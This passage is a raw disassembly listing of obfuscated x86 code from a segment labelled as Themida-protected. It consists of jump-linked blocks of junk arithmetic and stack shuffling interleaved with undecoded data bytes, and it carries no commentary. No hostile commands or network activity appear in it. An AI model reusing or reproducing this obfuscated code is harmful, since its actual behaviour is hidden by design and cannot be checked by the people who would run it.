		jmp	loc_554873
; ---------------------------------------------------------------------------
		db 66h
		dd 66109568h, 0E97F3968h, 5A7Eh, 5351C828h, 0FEE915B7h
		dd 8B000092h, 0D0E9242Ch, 53FFFFE0h, 0E956E9h
		db 0
; ---------------------------------------------------------------------------


loc_551759:				; CODE XREF: Themida_:0055E682j
		push	157Ch
		mov	[esp], ebp
		mov	ebp, 26300515h
		add	esi, 5E1B3C13h
		sub	esi, ebp
		jmp	loc_55C68C
; ---------------------------------------------------------------------------
		db 0F6h
		dd 3E1C0D9h, 0E992F180h, 0BE3Dh
; ---------------------------------------------------------------------------


loc_551780:				; CODE XREF: Themida_:0054EE2Ej
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_552F45
; ---------------------------------------------------------------------------


loc_55178F:				; CODE XREF: Themida_:0054ED3Cj
		add	ebx, 0FFFFFFFFh
		xchg	ebx, edi
		or	edi, 405E31D8h
		jmp	loc_551072
; ---------------------------------------------------------------------------
		db 1
		dd 84C281C2h, 8B759414h, 0E9522404h, 0B419h, 81240C8Bh
		dd 4C4h, 55D9F700h, 0E9595D51h,	89E1h
; ---------------------------------------------------------------------------


loc_5517C4:				; CODE XREF: Themida_:00552A24j
		mov	ebx, esp
		jmp	loc_55430D
; ---------------------------------------------------------------------------


loc_5517CB:				; CODE XREF: Themida_:005511D9j
		sub	[esp+4], ebp
		pop	ebp
		pop	edi
		jmp	loc_5571F5
; ---------------------------------------------------------------------------
		dw 0F788h
		dd 0F828595Ah, 0BEA0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5517E1:				; CODE XREF: Themida_:0054EC9Fj
		and	edx, ecx
		pop	ecx
		push	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 3B612E6Eh
		mov	eax, ecx
		pop	ecx
		xor	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 447879B1h
		xor	edx, ebp
		pop	ebp
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		shl	esi, 4
		shr	esi, 2
		shr	esi, 1
		push	ebx
		jmp	loc_55FF57
; ---------------------------------------------------------------------------


loc_55181D:				; CODE XREF: Themida_:0055EEA4j
		add	edx, esi
		jmp	loc_562896
; ---------------------------------------------------------------------------


loc_551824:				; CODE XREF: Themida_:0055E987j
		sub	ecx, 19720CB0h
		mov	ebp, [esp]
		add	esp, 4
		neg	ecx
		push	eax
		push	341C2103h
		pop	eax
		jmp	loc_55E635
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 8B542414h, 0EBE92414h, 81000106h,	2065242Ch
		dd 348B7A25h, 0CE8EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551862:				; CODE XREF: Themida_:00556868j
		mov	[esp], esi
		jmp	loc_560EAE
; ---------------------------------------------------------------------------
		dw 0DAF7h
		dd 7FFEEA81h, 21E9C206h, 55000061h, 825EEBDh, 6196E944h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551882:				; CODE XREF: Themida_:00557E98j
		push	ecx
		jmp	loc_5627BA
; ---------------------------------------------------------------------------
		dd 0A3068h, 243C8900h, 0FFFE0DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551895:				; CODE XREF: Themida_:0055453Dj
		mov	edi, 7EDF50A6h
		xor	esi, edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		shl	esi, 7
		push	6441h
		mov	[esp], ebx
		mov	ebx, 4E9536E0h
		not	ebx
		jmp	loc_555F9F
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 4
		dd 1000000h, 0EF815AD7h, 4, 0E9243C33h,	3DE7h
; ---------------------------------------------------------------------------


loc_5518D4:				; CODE XREF: Themida_:0055EE77j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	bl, 0F9h
		add	bl, ch
		sub	bl, 0F9h
		jmp	loc_54F38F
; ---------------------------------------------------------------------------
		dd 490E951h, 642D0000h,	218BDC25h, 0B95158C7h, 0DFA5E9Ch
		dd 9055E9h, 5E08900h, 4, 42Dh, 24048700h, 10157E9h, 24048B00h
		dd 585168h, 240C8900h, 34E95954h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551927:				; CODE XREF: Themida_:00558CB2j
		shl	ebx, 6
		or	ebx, 19072561h
		sub	ebx, 0FC76B718h
		sub	edi, 43C44C8Dh
		jmp	loc_5548CB
; ---------------------------------------------------------------------------
aSJVsH		db ')è-†',1Bh,'¼vé»H',0
		dd 0BA525100h, 27974B6Dh, 4B67E281h, 0EA815949h, 0EBBFE5A3h
		dd 0F75AD189h, 0FFC181D9h, 0E9FFFFFFh, 104DCh
; ---------------------------------------------------------------------------


loc_551970:				; CODE XREF: Themida_:00555A9Cj
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_54FEB1
; ---------------------------------------------------------------------------
		db 88h,	0D0h, 5Ah
		dd 3E8C059h, 57B25266h,	5A66D020h, 53665266h, 0DE8819B3h
		dd 2875E9h, 28C1B500h, 595966EBh, 0FFC0B60Fh, 81568734h
		dd 4ECh, 24148900h, 4EC81h, 2C890000h, 0C02BD24h, 5BA7326h
		dd 5692D743h, 0E36724BEh, 6846h, 34290000h, 65685E24h
		dd 8900004Fh, 0EABD242Ch, 0E968F85Ah, 4C20h, 910B850h
		dd 0C631F639h, 0DD39E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5519F2:				; CODE XREF: Themida_:00555A6Fj
		add	eax, 5DD43829h
		mov	esi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	676Ch
		mov	[esp], edx
		jmp	loc_55FB5A
; ---------------------------------------------------------------------------


loc_551A19:				; CODE XREF: Themida_:00557181j
		sub	ecx, edx
		pop	edx
		dec	ecx
		add	ecx, 1
		jmp	loc_55ECCB
; ---------------------------------------------------------------------------
aSz		db '[é‡Ï',0
		align 2
		dw 0D621h
		dd 5A2434FFh, 8304C483h, 2C8904ECh, 4F8CBD24h, 0EE310D95h
		dd 81242C8Bh, 4C4h, 0F6E98100h,	17A456Ch, 0F6C181F1h, 0E97A456Ch
		dd 0B27Ch
; ---------------------------------------------------------------------------


loc_551A60:				; CODE XREF: Themida_:005509DDj
		pop	esp
		jmp	loc_5520AA
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 52CD6668h, 242BCA81h, 0E2816F52h, 419C43A4h,	232BE281h
		dd 0E9504E8Bh, 0FB4Ah
; ---------------------------------------------------------------------------


loc_551A84:				; CODE XREF: Themida_:0054FABFj
		add	eax, ecx
		jmp	loc_55719E
; ---------------------------------------------------------------------------
aIhJjssea	db '-¶)©h-²¦jséEA',0
		align 2
		dw 0C601h
		dd 5324048Bh, 0C381E389h, 4, 0E904C383h, 0FFFFD156h, 0E904EC83h
		dd 589Fh, 0BC419D2Dh, 0DD0F747h, 0B757BD2h, 0C7F7B35h
		dd 8BC201C1h, 0C4832404h, 31FB0504h, 0D00173BCh, 0BC31FB2Dh
		dd 0BA525A73h, 2, 8B64172Dh, 74BB5327h,	0E9644E2Fh, 1FCBh
		dd 1E31EA81h, 8BE97BBBh, 3300000Dh, 248B2414h, 0C896624h
		dd 0B60F6624h, 1F2E9C8h, 0C4830001h, 0E9E1E904h, 0C581FFFFh
		dd 4F3C46EAh, 0E7D1E9h
		db 0
; ---------------------------------------------------------------------------


loc_551B25:				; CODE XREF: Themida_:0055DED9j
		add	ebx, ebp
		pop	ebp
		or	ebx, 38863636h
		jmp	loc_55B5C3
; ---------------------------------------------------------------------------
		db 81h
		dd 0F3FA4DC3h, 0AE07E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551B3E:				; CODE XREF: Themida_:00552F0Aj
		and	ebx, ecx
		pop	ecx
		push	ebx
		jmp	loc_55C69E
; ---------------------------------------------------------------------------


loc_551B47:				; CODE XREF: Themida_:005614D6j
		pop	esp
		pop	ecx
		jmp	loc_558287
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFFC2E5h
; ---------------------------------------------------------------------------


loc_551B54:				; CODE XREF: Themida_:0055B0B5j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		sub	dword ptr [esp], 754C19h
		mov	eax, [esp]
		jmp	loc_5545B8
; ---------------------------------------------------------------------------
		dd 72CCEA81h, 0CA812479h, 2B852FC9h, 0D025C281h, 0D701841Ah
		dd 4C7815Ah, 87000000h,	248B243Ch, 0E3895324h, 8C0AE9h
		dd 24248B00h, 24040166h, 0A384E99Ch, 83590000h,	143304EAh
		dd 0EB3EE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551BAE:				; CODE XREF: Themida_:00551C5Dj
		inc	ebp
		push	edi
		mov	edi, 42793FE7h
		add	ebp, edi
		pop	edi
		not	ebp
		jmp	loc_55CC96
; ---------------------------------------------------------------------------
		db 89h
		dd 5166241Ch, 0EC812DB1h, 4, 53240489h,	0F693E9h
		db 0
; ---------------------------------------------------------------------------


loc_551BD5:				; CODE XREF: Themida_:0055BA1Dj
		push	ebx
		jmp	loc_5534DC
; ---------------------------------------------------------------------------
		db 87h
		dd 64E9243Ch, 0BFFFFFC5h, 0C8B4869h, 2D5FF829h,	419F09DCh
		dd 0DC05D829h, 5419F09h, 0C8B4869h, 0CAE9505Bh
		db 93h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_551C03:				; CODE XREF: Themida_:00551C9Aj
		push	edi
		push	556705EDh
		pop	edi
		sub	edi, 43E021CAh
		jmp	loc_561154
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 61h
		dd 570E2A2Bh, 0F818EDBFh, 0D7DFE941h, 0C2810000h, 44CA7D17h
		dd 0A1A8E9h, 4C48300h, 43F968h,	0E7CBE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551C3E:				; CODE XREF: Themida_:00554383j
		push	esi
		mov	esi, 476A58A1h
		jmp	loc_54F14B
; ---------------------------------------------------------------------------
		db 51h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_54F05C
; ---------------------------------------------------------------------------
aFsK		db 'Fé}ª',0
		align 4


loc_551C58:				; CODE XREF: Themida_:0055DF38j
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_551BAE
; ---------------------------------------------------------------------------


loc_551C62:				; CODE XREF: Themida_:00554316j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5575CF
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 53h
		dd 4BBh, 68EE8100h, 1730835h, 823CE9DEh, 0C2810000h, 4
		dd 0AE7CE9h
		db 0
; ---------------------------------------------------------------------------


loc_551C8D:				; CODE XREF: Themida_:0055306Cj
		pop	esp
		mov	[esp], esp
		jmp	loc_54EF63
; ---------------------------------------------------------------------------


loc_551C96:				; CODE XREF: Themida_:0055F964j
		mov	[esp], ebx
		push	ebp
		jmp	loc_551C03
; ---------------------------------------------------------------------------
		db 0BDh
		dd 13105CF4h, 0B37E01BEh, 0E9EE315Fh, 10106h, 0C48DE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551CB6:				; CODE XREF: Themida_:00555051j
		push	esp
		pop	ebx
		add	ebx, 4
		push	eax
		mov	eax, 4
		sub	ebx, eax
		pop	eax
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_54FD6B
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 8F685524h, 8B395C6Eh, 0C481242Ch, 4,	0F7D5F74Dh, 2ABB53DDh
		dd 0C162F457h, 814308EBh, 0EF5BD6C3h, 0B3EB8164h, 43344708h
		dd 49F7C381h, 0DD019598h, 5DEB895Bh, 5E08950h, 4, 107EE9h
		dd 89F28900h, 2434FFD3h, 8324148Bh, 0C48104C4h,	4, 5E2434FFh
		dd 555F5457h, 4BDh, 8BEF0100h, 3FE9242Ch, 890000BAh, 58C589D8h
		dd 57CE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551D4E:				; CODE XREF: Themida_:00561C57j
		xchg	ebp, ebx
		push	ecx
		mov	ecx, 4F690440h
		jmp	loc_551651
; ---------------------------------------------------------------------------
		dd offset loc_55FC68
		align 10h
		dd 0E9240C89h, 9F8Ch
; ---------------------------------------------------------------------------


loc_551D68:				; CODE XREF: Themida_:0054E7A0j
		push	esp
		pop	edi
		add	edi, 4
		push	edx
		mov	edx, 7401322Dh
		shl	edx, 2
		jmp	loc_55D92C
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 24048904h, 53514EB0h, 0F988B8B7h, 0AEC1805Bh, 8CA7E9h
		db 0
; ---------------------------------------------------------------------------


loc_551D95:				; CODE XREF: Themida_:0055C0B4j
		mov	eax, edx
		jmp	loc_55EB72
; ---------------------------------------------------------------------------


loc_551D9C:				; CODE XREF: Themida_:005548C6j
		add	edi, ebp
		jmp	loc_5568EF
; ---------------------------------------------------------------------------


loc_551DA3:				; CODE XREF: Themida_:0055EAA7j
		xor	ebx, edi
		pop	edi
		add	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	eax
		jmp	loc_56009C
; ---------------------------------------------------------------------------
		dw 15Fh
		dd 148758C2h, 24248B24h, 18EDC381h, 0E9562C65h,	10AF7h
		dd 54C6C581h, 0E94D47C4h, 0F0F3h, 0E781DFF7h, 78A52344h
		dd 29F0CF81h, 2BE97BA7h
		db 0F1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551DF3:				; CODE XREF: Themida_:0054FE55j
		pop	ecx
		pop	ecx
		sub	esp, 4
		jmp	loc_561C8B
; ---------------------------------------------------------------------------
		dd 472F4D05h, 58C729DDh, 2AAEC781h, 0E2E9D615h
		db 0CAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_551E13:				; CODE XREF: Themida_:0055DF2Ej
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		jmp	loc_55A052
; ---------------------------------------------------------------------------
		dw 1489h
		dd 2EFC6824h, 38E90000h, 89FFFFC8h, 0CABA2414h,	16D5843h
		dd 1647E9D0h, 5A0000h, 0A876E9DEh, 88520000h, 0FB2FE9EAh
		dd 0E830FFFFh, 8A6E9h, 2B86B800h, 0C1296B5Bh, 0C1D1F758h
		dd 0F18108E9h, 0A65291h, 8159CF29h, 944A95C7h, 55CF0145h
		dd 944A95BDh, 5DEF2945h, 8A15E9h, 0E7895700h, 4B85051h
		dd 89000000h, 0EF8158C1h, 52CC4FA4h, 0C781CF01h, 52CC4FA4h
		dd 4EF8159h, 87000000h,	895C243Ch, 4BE2434h, 81000000h
		dd 5977C3C5h, 4D0CE969h, 815A0000h, 0F94807C5h,	0E7CBE914h
		dd 0E95BFFFFh, 0BF57h, 0E9241C89h, 0A94Bh
; ---------------------------------------------------------------------------


loc_551ED4:				; CODE XREF: Themida_:0055EAD2j
		or	ecx, 3A893A13h
		inc	ecx
		xor	ecx, 7ACE4FF1h
		shl	ecx, 4
		sub	ecx, 0C4F6134Eh
		or	ebp, ecx
		jmp	loc_5562D2
; ---------------------------------------------------------------------------
		db 89h,	0C6h, 58h
		dd 515EF001h, 4A85EFB9h, 8BC829B6h, 0C483240Ch,	0E9C78904h
		dd 314Ah
; ---------------------------------------------------------------------------


loc_551F0C:				; CODE XREF: Themida_:0055013Ej
		add	ebp, 8B3FF24h
		mov	ebx, ebp
		pop	ebp
		jmp	loc_557F6E
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 2C094247h, 3144C681h, 0CE012746h, 4D6CE9h, 5EE95800h
		dd 83000096h, 95E904ECh, 8900007Ah, 5150241Ch, 5AE91AB5h
		dd 5600007Bh, 6C65A2BEh, 93E94E47h, 5700004Dh, 0B31211BFh
		dd 15F7814Fh, 14FB312h,	37F8E9FEh, 81580000h, 4ECh, 9B5AE900h
		dd 14330000h, 24143124h, 8B241433h, 0D1E92424h,	52000095h
		dd 0C680DFB6h, 0E962E9C5h, 0D0000000h, 4742E95Ah, 0BF570000h
		dd 3D6C29F3h, 112CE9h, 40D0F700h, 1B8C272Dh, 8F7AE9BEh
		dd 33590000h, 2C31242Ch, 242C3324h, 8924248Bh, 0EC83243Ch
		dd 24248904h, 4240483h,	4C7815Fh, 52000000h, 468h, 0D7015A00h
		dd 8324148Bh, 3C8704C4h, 34FF5C24h, 2434FF24h, 265F6858h
		dd 34890000h, 4516824h,	42E90000h, 5900001Bh, 0EC81D800h
		dd 2, 240C8966h, 0E9B5B050h, 2BFEh, 0BE56535Ah,	7B7F2DDAh
		dd 7BD9BD55h, 0EE09091Dh, 89C6815Dh, 89A7348Ah,	0C3835EF3h
		dd 874B4301h, 0EE50E9EBh, 14680000h, 0E900001Ch, 0EA85h
		dd 0BB53FA01h, 42715864h, 577BE381h, 0C14B4BC5h, 0F38102EBh
		dd 58334F3Eh, 815BDA01h, 3B5973C2h, 377E681Ch, 0FAE90000h
		dd 420000F6h, 6426C281h, 37E9536Fh, 5600006Dh, 0C681E689h
		dd 4, 4C681h, 34870000h, 76E95C24h, 83000105h, 0C8704E9h
		dd 0E214E924h, 4BAFFFFh, 0E9000000h, 0F6D4h, 45FCE950h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5520AA:				; CODE XREF: Themida_:00551A61j
		push	593Fh
		mov	[esp], eax
		mov	ah, bl
		push	ebx
		mov	bl, ah
		mov	cl, bl
		jmp	loc_54F3B4
; ---------------------------------------------------------------------------
		dw 5057h
		dd 2C779BB8h, 0B8505641h, 1DBA7173h, 0E0D1D0F7h, 92F13E05h
		dd 0FE17E9B0h, 835DFFFFh, 0B3E904C4h
		db 0ADh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5520E3:				; CODE XREF: Themida_:00562808j
		pop	esp
		push	edi
		mov	edi, 15AD6F08h
		add	eax, edi
		jmp	loc_55D317
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 14h
		dd 2C48324h, 0DBF28166h, 81665D04h, 0E9458FF2h,	0D313h
		dd 207C99BDh, 0D933E958h, 48F0000h, 3C895C24h, 685F5424h
		dd 0EC9h, 0B1B9E9h, 80EB0000h, 0C8BDFC3h, 4C48124h, 0F000000h
		dd 2368C0B6h, 89000042h, 0E0892404h, 0A011E9h, 54C78100h
		dd 8907E6B6h, 50E95FFAh, 0F600000Ch, 0D14E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55215A:				; CODE XREF: Themida_:00551566j
		add	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		push	1C5Ch
		mov	[esp], ebx
		jmp	loc_561DFB
; ---------------------------------------------------------------------------
		db 81h
		dd 2040DC1h, 0E9CD8984h, 0EC9Bh, 27FE68h, 24048900h, 15F1E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552196:				; CODE XREF: Themida_:0055C463j
		mov	[esp], eax
		jmp	loc_553DEE
; ---------------------------------------------------------------------------
		dw 0EF81h
		dd 0F56BB5E7h, 315FFB89h, 31DD31EBh, 9149E9EBh,	0E95C0000h
		dd 0DB32h, 4C481h, 95050000h, 167C118h,	5DA168D8h, 2C890000h
		dd 0DAE7E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5521D2:				; CODE XREF: Themida_:0055CB47j
		sub	edx, 1
		jmp	loc_56158A
; ---------------------------------------------------------------------------


loc_5521DD:				; CODE XREF: Themida_:0055672Dj
		mov	edi, 44F724B4h
		push	ecx
		push	ebp
		push	8F51332h
		pop	ebp
		jmp	loc_561D81
; ---------------------------------------------------------------------------


loc_5521EF:				; CODE XREF: Themida_:0055D226j
		sub	esp, 4
		mov	[esp], ecx
		push	10000h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	esp, 4
		and	eax, ecx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5579D0
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 0A927E9h, 16685100h,	5937D27Eh, 6CA3C981h, 0C1810C29h
		dd 79405F3Eh, 0F877F181h, 0CD89E4EAh, 5FC58159h, 1744B58h
		dd 0B846E9EBh, 5B540000h, 4C381h, 0EC830000h, 0BA7EE904h
		dd 0C3FE0000h, 0E263E9h, 24348900h, 8904EC83h, 0F4B9240Ch
		dd 814BA44Dh, 0DA26A2E9h, 0B0C1811Ch, 51D135D8h, 14240481h
		dd 0E9014F27h, 83F8h, 0EE9C7FEh, 8900006Ah, 85E92414h
		dd 830000BDh, 0E95304C4h, 0FFFFC6B4h
; ---------------------------------------------------------------------------


loc_5522A4:				; CODE XREF: Themida_:005500B4j
		push	2276h
		mov	[esp], eax
		push	24A63258h
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		or	eax, 6BAA2488h
		xor	eax, 0F165E7Eh
		jmp	loc_55090D
; ---------------------------------------------------------------------------
		dw 0E989h
		dd 0D0E9CA89h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5522D3:				; CODE XREF: Themida_:005572D0j
		and	eax, ecx
		jmp	loc_5619FD
; ---------------------------------------------------------------------------
		dw 492Dh
		dd 0E91C486Ch, 0FFFFCEF2h, 5224048Bh, 0C281E289h, 4, 4B850h
		dd 0C2010000h, 0CCF0E958h, 0C481FFFFh, 4, 0C381CB01h, 529121D8h
		dd 8904EC83h, 71BA2414h, 0C1620760h, 0DAF703EAh, 19E7C281h
		dd 0D3015EFDh, 0E924148Bh, 29F7h, 5D04C483h, 148BD101h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54EB54
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38100h, 83000000h, 0C8904ECh, 78BF6824h, 24890000h
		dd 0A815E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552362:				; CODE XREF: Themida_:005612A5j
		push	ebp
		mov	ebp, 76452D26h
		or	ebp, 2205192Fh
		or	ebp, 691B103Fh
		sub	ebp, 7F5FC845h
		mov	edi, ebp
		pop	ebp
		jmp	loc_556493
; ---------------------------------------------------------------------------


loc_552382:				; CODE XREF: Themida_:005547E5j
		push	dword ptr [edi+eax*4]
		push	esi
		mov	esi, 3B3D0157h
		jmp	loc_55642D
; ---------------------------------------------------------------------------
		dd 78E9FD01h, 0B80000FBh, 382D7F3Dh, 20FBE9h, 0EB815900h
		dd 0F6C8D368h, 5C9BB951h, 0CA2935EBh, 81DA2959h, 0EB5C9BC2h
		dd 0BEE95B35h
		db 0DDh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5523BF:				; CODE XREF: Themida_:005524A7j
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_5592B3
; ---------------------------------------------------------------------------


loc_5523D5:				; CODE XREF: Themida_:0055DC25j
		push	edi
		mov	edi, 11EA5B8Bh
		push	ebp
		mov	ebp, 1
		add	edi, ebp
		pop	ebp
		jmp	loc_54EEE5
; ---------------------------------------------------------------------------
		db 29h,	0FEh, 8Bh
		dd 0C483243Ch, 56EE8104h, 1CB1AC9h, 0F4D4E9F0h,	68660000h
		dd 89662D35h, 5551242Ch, 66DEE9h
		db 0
; ---------------------------------------------------------------------------


loc_55240D:				; CODE XREF: Themida_:00560A15j
		mov	eax, [esp]
		add	esp, 4
		sub	eax, 78C471F0h
		push	ebx
		jmp	loc_5575FA
; ---------------------------------------------------------------------------
		db 83h,	0C1h, 4
		dd 5C240C87h, 34FFC701h, 24048B24h, 0FFEF79E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552435:				; CODE XREF: Themida_:0054EB01j
		mov	edx, 4DD836C4h
		jmp	loc_55EA33
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28100h, 87000000h, 535C2414h, 2BBh, 247EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55245A:				; CODE XREF: Themida_:0054FA18j
		mov	edx, eax
		pop	eax
		dec	edx
		jmp	loc_55ACC1
; ---------------------------------------------------------------------------
		db 89h
		dd 74FF240Ch, 8F590424h, 248B2404h, 486E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552476:				; CODE XREF: Themida_:00554C29j
		add	ecx, 4
		push	edi
		jmp	loc_5540E7
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 5BB44013h, 0E924148Bh, 2288h, 24048F5Dh, 0FCDFE9h, 52E95000h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55249F:				; CODE XREF: Themida_:0055FB67j
		mov	edx, [esp]
		push	1B6Ch
		jmp	loc_5523BF
; ---------------------------------------------------------------------------
		dd 0BB3EF681h, 0F701CCC2h, 0D9C7815Eh, 0FD395D22h, 48FD68h
		dd 241C8900h, 8E7D92BBh, 0DBBAE94Ch, 4068FFFFh,	89000014h
		dd 0FE92434h, 810000F3h, 4C4h, 2C28300h, 0E9241433h, 6990h
		dd 8B24048Fh, 4E92424h
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5524F7:				; CODE XREF: Themida_:00553ACFj
		pop	esp
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55885B
; ---------------------------------------------------------------------------


loc_552506:				; CODE XREF: Themida_:0056215Bj
		mov	edx, esp
		add	edx, 4
		jmp	loc_553D83
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 835EF701h, 0E95704C7h, 7BC1h, 0BE3185BDh,	0E9C5316Eh
		dd 37B1h, 56EEF581h, 0E829ADEDh, 1AE95E5Dh
		db 0FBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55253F:				; CODE XREF: Themida_:0055863Bj
		push	ecx
		jmp	loc_55B61C
; ---------------------------------------------------------------------------


loc_552545:				; CODE XREF: Themida_:0055D5EBj
		xchg	ebp, [esp]
		pop	esp
		add	edx, 12F06D22h
		add	edx, ecx
		sub	edx, 12F06D22h
		pop	ecx
		add	esi, edx
		pop	edx
		jmp	loc_55E995
; ---------------------------------------------------------------------------


loc_552560:				; CODE XREF: Themida_:0055125Dj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55EB4C
; ---------------------------------------------------------------------------


loc_552578:				; CODE XREF: Themida_:0054EA66j
		push	esp
		pop	ebx
		jmp	loc_55D4FE
; ---------------------------------------------------------------------------


loc_55257F:				; CODE XREF: Themida_:005606CAj
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	edi
		push	eax
		mov	eax, 49094376h
		jmp	loc_562303
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 2F8E6800h, 3C890000h, 46824h, 565F0000h, 14B4ABEh
		dd 0E9F52908h, 0B2B3h, 452C5FBBh, 0E9DA2954h, 0EFC4h, 0E53FE95Ch
		dd 0E9580000h, 1817h
; ---------------------------------------------------------------------------


loc_5525CC:				; CODE XREF: Themida_:00559AD8j
		mov	eax, [esp]
		jmp	loc_55CFCA
; ---------------------------------------------------------------------------
		dd 730684BDh, 8BE80178h, 8951242Ch, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0D6B9515Ch,	2930A41Ah, 5C2D59C8h, 134D84Eh
		dd 4E5C05C8h, 0D60534D8h, 2D30A41Ah, 78730684h,	592434FFh
		dd 4EC81h, 14890000h, 815A5424h, 4C2h, 0D978E900h, 0EB010000h
		dd 83242C8Bh, 1C3304C4h, 241C3124h, 0E9241C33h,	0FFFFF555h
		dd 24048B66h, 388B68h, 0FE5E900h, 33680000h, 8900001Eh
		dd 4682434h, 5E000000h,	407CE981h, 0FE95DD0h, 1000004h
		dd 79E52DC8h, 21E9540Ah, 10000A5h, 81F8E9FEh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55267A:				; CODE XREF: Themida_:00557A3Bj
		add	ecx, 4
		jmp	loc_555462
; ---------------------------------------------------------------------------


loc_552685:				; CODE XREF: Themida_:00553D8Dj
		pop	esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_559168
; ---------------------------------------------------------------------------


loc_552696:				; CODE XREF: Themida_:00553AE0j
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	4C9Fh
		jmp	loc_561536
; ---------------------------------------------------------------------------
		db 80h,	0EAh, 0F3h
		dd offset dword_5464D4+15h
		db 0
; ---------------------------------------------------------------------------


loc_5526B9:				; CODE XREF: Themida_:00550DCDj
		mov	[esp], ecx
		mov	cl, 0E0h
		add	bl, 93h
		add	bl, cl
		jmp	loc_553402
; ---------------------------------------------------------------------------
		dd 159CB31h, 241C8BDAh,	0E0D5E9h, 24C4B800h, 0ECE9672Eh
		dd 5100004Fh, 0EA68E9h,	4E88300h, 0E9240433h, 0B868h, 405h
		dd 0E7E95600h, 590000D4h, 8058C130h, 0CB00C1C3h, 8EE95166h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55270B:				; CODE XREF: Themida_:00556C36j
		pop	edi
		sub	ecx, 16FA38D3h
		add	ecx, 11886A72h
		add	ecx, ebp
		sub	ecx, 11886A72h
		add	ecx, 16FA38D3h
		pop	ebp
		jmp	loc_555889
; ---------------------------------------------------------------------------
aIussq		db '‰ã鑟',0
		dw 5000h
		dd 853BE9h, 24348900h, 56E9E689h, 890000F7h, 58542404h
		dd 405h, 42D00h, 0E9500000h, 0FFFFD296h, 0CE2F0DBBh, 9301E96Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


